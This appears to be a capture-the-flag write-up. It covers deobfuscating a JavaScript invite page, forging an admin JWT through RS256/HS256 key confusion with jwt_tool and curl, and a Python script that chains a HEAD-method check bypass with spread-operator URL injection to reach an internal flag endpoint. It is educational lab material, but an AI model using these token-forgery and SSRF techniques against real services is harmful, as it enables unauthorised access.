x=[0,0,0];const compare=(a,b)=>{let s='';for(let i=0;i<Math.max(a.length,b.length);i++){s+=String.fromCharCode((a.charCodeAt(i)||0)^(b.charCodeAt(i)||0))}return s};if(location.protocol=='file:'){x[0]=23}else{x[0]=57}if(compare(window.location.hostname,"you're invited!!!")==unescape("%1E%00%03S%17%06HD%0D%02%0FZ%09%0BB@M")){x[1]=88}else{x[1]=31}function yyy(){var uuu=false;var zzz=new Image();Object.defineProperty(zzz,'id',{get:function(){uuu=true;x[2]=54}});requestAnimationFrame(function X(){uuu=false;console.log("%c",zzz);if(!uuu){x[2]=98}})};yyy();function ooo(seed){var m=255;var a=11;var c=17;var z=seed||3;return function(){z=(a*z+c)%m;return z}}function iii(eee){ttt=eee[0]<<16|eee[1]<<8|eee[2];rrr=ooo(ttt);ggg=window.location.pathname.slice(1);hhh="";for(i=0;i<ggg.length;i++){hhh+=String.fromCharCode(ggg.charCodeAt(i)-1)}vvv=atob("3V3jYanBpfDq5QAb7OMCcT//k/leaHVWaWLfhj4=");mmm="";if(hhh.slice(0,2)=="go"&&hhh.charCodeAt(2)==118&&hhh.indexOf('ech-c')==4){for(i=0;i<vvv.length;i++){mmm+=String.fromCharCode(vvv.charCodeAt(i)^rrr())}alert("Thank you for accepting the invite!\n"+hhh+mmm)}}for(a=0;a!=1000;a++){debugger}$('.custom1').catLED({type:'custom',color:'#FF0000',background_color:'#e0e0e0',size:10,rounded:5,font_type:4,value:" YOU'RE INVITED! "});$('.custom2').catLED({type:'custom',color:'#FF0000',background_color:'#e0e0e0',size:10,rounded:5,font_type:4,value:" "});$('.custom3').catLED({type:'custom',color:'#FF0000',background_color:'#e0e0e0',size:10,rounded:5,font_type:4,value:" WE WANT YOU! "});setTimeout(function(){iii(x)},2000);
Looks like more JavaScript. We can run this through de4js again:
x = [0, 0, 0];
const compare = (a, b) => {
let s = '';
for (let i = 0; i < Math.max(a.length, b.length); i++) {
s += String.fromCharCode((a.charCodeAt(i) || 0) ^ (b.charCodeAt(i) || 0))
}
return s
};
if (location.protocol == 'file:') {
x[0] = 23
} else {
x[0] = 57
}
if (compare(window.location.hostname, "you're invited!!!") == unescape("%1E%00%03S%17%06HD%0D%02%0FZ%09%0BB@M")) {
x[1] = 88
} else {
x[1] = 31
}
function yyy() {
var uuu = false;
var zzz = new Image();
Object.defineProperty(zzz, 'id', {
get: function () {
uuu = true;
x[2] = 54
}
});
requestAnimationFrame(function X() {
uuu = false;
console.log("%c", zzz);
if (!uuu) {
x[2] = 98
}
})
};
yyy();
function ooo(seed) {
var m = 255;
var a = 11;
var c = 17;
var z = seed || 3;
return function () {
z = (a * z + c) % m;
return z
}
}
function iii(eee) {
ttt = eee[0] << 16 | eee[1] << 8 | eee[2];
rrr = ooo(ttt);
ggg = window.location.pathname.slice(1);
hhh = "";
for (i = 0; i < ggg.length; i++) {
hhh += String.fromCharCode(ggg.charCodeAt(i) - 1)
}
vvv = atob("3V3jYanBpfDq5QAb7OMCcT//k/leaHVWaWLfhj4=");
mmm = "";
if (hhh.slice(0, 2) == "go" && hhh.charCodeAt(2) == 118 && hhh.indexOf('ech-c') == 4) {
for (i = 0; i < vvv.length; i++) {
mmm += String.fromCharCode(vvv.charCodeAt(i) ^ rrr())
}
alert("Thank you for accepting the invite!\n" + hhh + mmm)
}
}
for (a = 0; a != 1000; a++) {
debugger
}
$('.custom1').catLED({
type: 'custom',
color: '#FF0000',
background_color: '#e0e0e0',
size: 10,
rounded: 5,
font_type: 4,
value: " YOU'RE INVITED! "
});
$('.custom2').catLED({
type: 'custom',
color: '#FF0000',
background_color: '#e0e0e0',
size: 10,
rounded: 5,
font_type: 4,
value: " "
});
$('.custom3').catLED({
type: 'custom',
color: '#FF0000',
background_color: '#e0e0e0',
size: 10,
rounded: 5,
font_type: 4,
value: " WE WANT YOU! "
});
setTimeout(function () {
iii(x)
}, 2000);
We see checks against location.protocol
and window.location.hostname
initially. The check for window.location.hostname
relies on compare
, which just XORs two inputs together. Since XOR is commutative, we can identify the expected hostname:
const compare = (a, b) => {
let s = "";
for (let i = 0; i < Math.max(a.length, b.length); i++) {
s += String.fromCharCode((a.charCodeAt(i) || 0) ^ (b.charCodeAt(i) || 0));
}
return s;
};
compare(unescape("%1E%00%03S%17%06HD%0D%02%0FZ%09%0BB@M"), "you're invited!!!")
which outputs govtech-ctf.local
. From this, we can also guess that location.protocol
should not be equal to "file:"
.
function iii(eee) {
ttt = (eee[0] << 16) | (eee[1] << 8) | eee[2];
rrr = ooo(ttt);
ggg = window.location.pathname.slice(1);
hhh = "";
for (i = 0; i < ggg.length; i++) {
hhh += String.fromCharCode(ggg.charCodeAt(i) - 1);
}
vvv = atob("3V3jYanBpfDq5QAb7OMCcT//k/leaHVWaWLfhj4=");
mmm = "";
if (
hhh.slice(0, 2) == "go" &&
hhh.charCodeAt(2) == 118 &&
hhh.indexOf("ech-c") == 4
) {
for (i = 0; i < vvv.length; i++) {
mmm += String.fromCharCode(vvv.charCodeAt(i) ^ rrr());
}
alert("Thank you for accepting the invite!\n" + hhh + mmm);
}
}
This function looks like our final goal. We can see a variable ggg
influencing the value of hhh
, which is expected to contain govtech-c
. We make the assumption here that mmm
contains the actually important part of the flag (we know the flag format is govtech-csg{...}
) and patch out the check for hhh
.
We can also remove the debugger
trap:
for (a = 0; a != 1000; a++) {
debugger;
}
Resulting in this code, which we can evaluate in a JavaScript console:
x = [0, 0, 0];
const compare = (a, b) => {
let s = "";
for (let i = 0; i < Math.max(a.length, b.length); i++) {
s += String.fromCharCode((a.charCodeAt(i) || 0) ^ (b.charCodeAt(i) || 0));
}
return s;
};
if (location.protocol == "file:") {
x[0] = 23;
} else {
x[0] = 57;
}
// govtech-ctf.local
if (
compare(window.location.hostname, "you're invited!!!") ==
unescape("%1E%00%03S%17%06HD%0D%02%0FZ%09%0BB@M")
) {
x[1] = 88;
} else {
x[1] = 31;
}
x[0] = 57;
x[1] = 88;
function yyy() {
var uuu = false;
var zzz = new Image();
Object.defineProperty(zzz, "id", {
get: function () {
uuu = true;
x[2] = 54;
},
});
requestAnimationFrame(function X() {
uuu = false;
console.log("%c", zzz);
if (!uuu) {
x[2] = 98;
}
});
}
yyy();
function ooo(seed) {
var m = 255;
var a = 11;
var c = 17;
var z = seed || 3;
return function () {
z = (a * z + c) % m;
return z;
};
}
function iii(eee) {
ttt = (eee[0] << 16) | (eee[1] << 8) | eee[2];
rrr = ooo(ttt);
ggg = window.location.pathname.slice(1);
hhh = "";
for (i = 0; i < ggg.length; i++) {
hhh += String.fromCharCode(ggg.charCodeAt(i) - 1);
}
vvv = atob("3V3jYanBpfDq5QAb7OMCcT//k/leaHVWaWLfhj4=");
mmm = "";
if (
1 ||
(hhh.slice(0, 2) == "go" &&
hhh.charCodeAt(2) == 118 &&
hhh.indexOf("ech-c") == 4)
) {
for (i = 0; i < vvv.length; i++) {
mmm += String.fromCharCode(vvv.charCodeAt(i) ^ rrr());
}
alert("Thank you for accepting the invite!\n" + hhh + mmm);
}
}
$(".custom1").catLED({
type: "custom",
color: "#FF0000",
background_color: "#e0e0e0",
size: 10,
rounded: 5,
font_type: 4,
value: " YOU'RE INVITED! ",
});
$(".custom2").catLED({
type: "custom",
color: "#FF0000",
background_color: "#e0e0e0",
size: 10,
rounded: 5,
font_type: 4,
value: " ",
});
$(".custom3").catLED({
type: "custom",
color: "#FF0000",
background_color: "#e0e0e0",
size: 10,
rounded: 5,
font_type: 4,
value: " WE WANT YOU! ",
});
setTimeout(function () {
iii(x);
}, 2000);
Output: Thank you for accepting the invite!
, flag is
B9.Trdqr.Itrshm.Cdrjsno.qd0.hmcdw-gslk{gr33tz_w3LC0m3_2_dA_t3@m_m8}govtech-csg{gr33tz_w3LC0m3_2_dA_t3@m_m8}
.
Web
Unlock Me
Our agents discovered COViD's admin panel! They also stole the credentials minion:banana, but it seems that the user isn't allowed in. Can you find another way?
When attempting to login, we see two web requests being made:
/login
withusername=minion
,password=banana
, with the reply being{"accessToken":"eyJhbGciOiJSUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6Im1pbmlvbiIsInJvbGUiOiJ1c2VyIiwiaWF0IjoxNjA3NDc4NDYzfQ.PZl5rJpErn3Etm4-Sq-CIvyhbtUVUUJXpNpCQxQVVwhlM0n4idYmgO-X3W44k_Vs4CX4lD2-UwMzl6Lssl5lhC80uQVOHWlzN9Y0jnABr2AOkTXR7h3SUwAdtp31hIXzfNjwOCL7PhgWDzmye0l_7O6Spv8rsHY_TDaYiL8zZVH_-BpJFbMyl74QLBsXvQjiHa4p85ztIqVFZC1YO3bOupsq1rFjSBv2vsbnqFnvjjzaLSI21rfEewTO7IwiRzKpLOeBwz9iUaARa1MqE7QPlgZs6Br_gkHLDY5-9A5cS-7GQWpebHf1ydI8Y04Vohs21Uuie7QpkvS9bfPHL0CO8su885nNwvSIKw0HVHg1AkSQ3t-kc6D_w0oFRF7ZtQFuHK8Uis_k-oyDBcOWbv3FYNXV6zB7eTsTUPPeohdtfV2eck01iJwTlrvz2fHzRVsGTIpeANGNf9emGb7ncnHR--tAI4rntAyAF0uqA9ms1o-wV4vB7X2pw-UwciUXIRGHQHlqYCQwNrpt9I395dtC7cJIKww2MHE51hQwbm3aD7RqdNXxpw73nzKTgkAL5DNZmWAx05dbndvvM2PHR6Pa3uK0seZ5X4PKrKJB9UOMQOc8cwmmttBz8NrTHF4Nv7PX1Eb8a6jhNRPNzvk0SWnqfr6AXyOHzrX1b96bOMYrOwc"}
/unlock
with the aboveaccessToken
in anAuthorization
header, with the reply being{"error":"Only admins are allowed into HQ!"}
accessToken
is a JSON Web Token which can be decoded into:
{
"username": "minion",
"role": "user",
"iat": 1607478463
}
A JWT consists of 3 parts (separated by a .
) encoded in base64:
- header:
{"alg":"RS256","typ":"JWT"}
in our token above - payload: the actual data (username, role and iat above)
- signature: this is used to validate that the payload has not been tampered with
There are multiple ways to sign a JWT:
HS256
: signing and validating with the same secret key. Both the issuer and receiver would need to have the same secret to sign and validate the tokenRS256
: signing with a private key and validating with the corresponding public key. In this situation, the public key is usually publicly available
There is an issue here: the header portion of the JWT is not validated by the signature. A well known attack here is to tamper with the token:
- Change
alg
toHS256
- Modify the payload
- Re-sign the token with the public key
Why does this work? To validate the token, the server would run something like
jwt.verify(token, publicKey)
If we were to provide a token with alg=RS256
, this would function as expected.
However, if we were to provide a token with alg=HS256
, we would be verifying our token with a secret that well, isn't actually secret!
At the bottom of the login page, we see a comment // TODO: Add client-side verification using public.pem
(again hinting that this is a HS/RS confusion attack).
We can then use this public.pem
with jwt_tool to tamper with the token:
(venv) justin@kali:~/tools/jwt_tool_latest$ python jwt_tool.py eyJhbGciOiJSUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6Im1pbmlvbiIsInJvbGUiOiJ1c2VyIiwiaWF0IjoxNjA3MDkyMTQwfQ.Y7co05QRn5NjLOWMpkrYXtWFDMQImJdclFFzzUTWdK2mrQOUjmeEtPuo66d-6ye282c7UQ7UH4n1IKins2Zy9JZTc4bcc_CeEqY3w8lZXXBMtohx4vU1CnDx6qNww8t6moXLltpA1fqrrwW-nSxsQ5ZzGTmSX30tepkqZGguQEoMHOjkRQFkomBg6x7J4DiDXVxe76FSsSi86Vyy4smBn8vEFEQbso7KlK8em--2noB0xY7nNzWu92nqjARReMvrEUZ_7-mlM5k6rtzMIocYcf-6628i4P-Wrc8tdyFylviBgYbql4dG9Fda1zg-DErjl5MLfzkDoJ0ARVmjPxo4kuBmRSej83Q8k93L-gcqQgpZLgmJJi8GKt3mr-MlSRWc9UdT_0ARwNB8-Jlvjgkd9ij3rIj7HT1i57m8aR8ATGEd6wm7kkky_sg4cuaK-ylbwAUAQZKvChLSfWFiPPrLx-pQdEontYf109Zl86D7qCKWX0jvkM0mlRBbWHo0F1EuD2haRXEWZPdEtyrvUGV5wnxHlGmYcsoZNzS-HwaOEqqrku1uzSxs0kczfRzcUrPmKr96pa89n173yC_DqKW-22M1NfpU04Uc4yPttKjUnWvLfcAFyMfI9J9d6UssQxB9251O963ZYQvkeJag2p8X6wQMa55YvwnIeSRjs6meypY --exploit k --pubkey public.pem --inject --payloadclaim role --payloadvalue admin
\ \ \ \ \ \
\__ | | \ |\__ __| \__ __| |
| | \ | | | \ \ |
| \ | | | __ \ __ \ |
\ | _ | | | | | | | |
| | / \ | | | | | | | |
\ | / \ | | |\ |\ | |
\______/ \__/ \__| \__| \__| \______/ \______/ \__|
Version 2.1.0 \______| @ticarpi
Original JWT:
File loaded: public.pem
jwttool_b0ef65abe173898289a4230029ead466 - EXPLOIT: Key-Confusion attack (signing using the Public Key as the HMAC secret)
(This will only be valid on unpatched implementations of JWT.)
[+] eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6Im1pbmlvbiIsInJvbGUiOiJhZG1pbiIsImlhdCI6MTYwNzA5MjE0MH0.Bz9HR589OPlAqcnIhIAQTbC5ApbVQynlkiUJ72Jm9eM
(venv) justin@kali:~/tools/jwt_tool_latest$ ^C
(venv) justin@kali:~/tools/jwt_tool_latest$ curl http://yhi8bpzolrog3yw17fe0wlwrnwllnhic.alttablabs.sg:41031/unlock -H "Authorization: Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6Im1pbmlvbiIsInJvbGUiOiJhZG1pbiIsImlhdCI6MTYwNzA5MjE0MH0.Bz9HR589OPlAqcnIhIAQTbC5ApbVQynlkiUJ72Jm9eM"
{"flag":"govtech-csg{5!gN_0F_+h3_T!m3S}"}
Note that as jwt_tool
points out, this attack would only work on unpatched versions of JWT libraries. For example, node-jsonwebtoken
defaults to disallowing the use of symmetric algorithms when the secretOrPublicKey
contains BEGIN CERTIFICATE
.
Breaking Free
Our agents managed to obtain the source code from the C2 server that COViD's bots used to register upon infecting its victim. Can you bypass the checks to retrieve more information from the C2 Server?
We're given the following application source:
const express = require('express');
const bodyParser = require('body-parser');
const axios = require('axios');
const app = express();
const router = express.Router();
const COVID_SECRET = process.env.COVID_SECRET;
const COVID_BOT_ID_REGEX = /^[a-f0-9]{8}-[a-f0-9]{4}-4[a-f0-9]{3}-[89aAbB][a-f0-9]{3}-[a-f0-9]{12}$/g;
const Connection = require("./db-controller");
const dbController = new Connection();
const COVID_BACKEND = "web_challenge_5_dummy"
app.use(bodyParser.json());
app.use(bodyParser.urlencoded({ extended: false }));
//Validates requests before we allow them to hit our endpoint
router.use("/register-covid-bot", (req, res, next) => {
var invalidRequest = true;
if (req.method === "GET") {
if (req.query.COVID_SECRET && req.query.COVID_SECRET === COVID_SECRET) {
invalidRequest = false;
}
} else {//Handle POST
let covidBotID = req.headers['x-covid-bot']
if (covidBotID && covidBotID.match(COVID_BOT_ID_REGEX)) {
invalidRequest = false;
}
}
if (invalidRequest) {
res.status(404).send('Not found');
} else {
next();
}
});
//registers UUID associated with covid bot to database
router.get("/register-covid-bot", (req, res) => {
let { newID } = req.query;
if (newID.match(COVID_BOT_ID_REGEX)) {
//We enroll a maximum of 100 UUID at any time!!
dbController.addBotID(newID).then(success => {
res.send({
"success": success
});
});
}
});
//Change a known registered UUID
router.post("/register-covid-bot", (req, res) => {
let payload = {
url: COVID_BACKEND,
oldBotID: req.headers['x-covid-bot'],
...req.body
};
if (payload.newBotID && payload.newBotID.match(COVID_BOT_ID_REGEX)) {
dbController.changeBotID(payload.oldBotID, payload.newBotID).then(success => {
if (success) {
fetchResource(payload).then(httpResult => {
res.send({ "success": success, "covid-bot-data": httpResult.data });
})
} else {
res.send({ "success": success });
}
});
} else {
res.send({ "success": false });
}
});
async function fetchResource(payload) {
//TODO: fix dev routing at backend http://web_challenge_5_dummy/flag/42
let result = await axios.get(`http://${payload.url}/${payload.newBotID}`).catch(err => { return { data: { "error": true } } });
return result;
}
app.use("/", router);
Looking right at the bottom, the objective is obvious: access http://web_channelge_5_dummy/flag/42
for the flag.
Lets start from the top: before any requests reach the GET
or POST
handlers, we have to successfully pass through this middleware:
This middleware is used to validate both GET
and POST
requests, but through different code paths. A GET
request has to contain a string COVID_SECRET
, which we can conclude is impossible to match. A POST
request just has to contain a value in x-covid-bot
matching a regex which is trivial to satisfy (we used online tools like https://www.browserling.com/tools/text-from-regex).
GET /register-covid-bot
then creates a new bot, while POST /register-covid-bot
changes the bot id and actually calls fetchRequest
.
Unfortunately, before we can change a bot id and call fetchRequest
, the bot needs to exist (we tried it).
Since matching COVID_SECRET
is not possible, is there a way we can have our request hit the POST
path in the middleware, but still end up in the GET /register-covid-bot
handler?
It turns out that yes - if we were to make a HEAD
request, req.method
contains HEAD
, but we still reach GET /register-covid-bot
!
Okay, we can now create a new bot, but fetchResource
makes requests to http://${payload.url}/${payload.newBotID}
, we somehow need to force this to match http://web_challenge_5_dummy/flag/42
.
This is the key part:
let payload = {
url: COVID_BACKEND,
oldBotID: req.headers['x-covid-bot'],
...req.body
};
The three dots ...
are the spread operator, basically combining payload
and req.body
, except that if duplicate keys exist, the value in req.body
will overwrite existing keys from payload
.
An example:
inject = {"foo": 2, "foo-bar": "qwer"}
payload = {"foo": 1, "bar": "asdf", ...inject}
returns {foo: 2, bar: "asdf", foo-bar: "qwer"}
.
We could thus set req.body.url=web_challenge_5_dummy/flag/42#
, resulting in a final url of http://web_challenge_5_dummy/flag/42#<id that is ignored here>
.
Attack
import requests
import time
HOST = "http://yhi8bpzolrog3yw17fe0wlwrnwllnhic.alttablabs.sg:41051/"
t = int(time.time())
covid_id = f"ff87b735-cea6-434a-A721-{t:012}"
new_covid_id = f"ee47f72f-4427-4e14-Abce-{t:012}"
r = requests.head(HOST+"register-covid-bot",
headers={"x-covid-bot": covid_id }, # for POST check
params={ "newID": covid_id } # to create new bot
)
print(r.text)
r = requests.post(HOST+"register-covid-bot", headers={
"x-covid-bot": covid_id
}, data={
"newBotID": new_covid_id,
"url": "web_challenge_5_dummy/flag/42#"
})
print(r.text)
returning {"success":true,"covid-bot-data":{"flag":"govtech-csg{ReQu3$t_h34D_0R_G3T?}"}}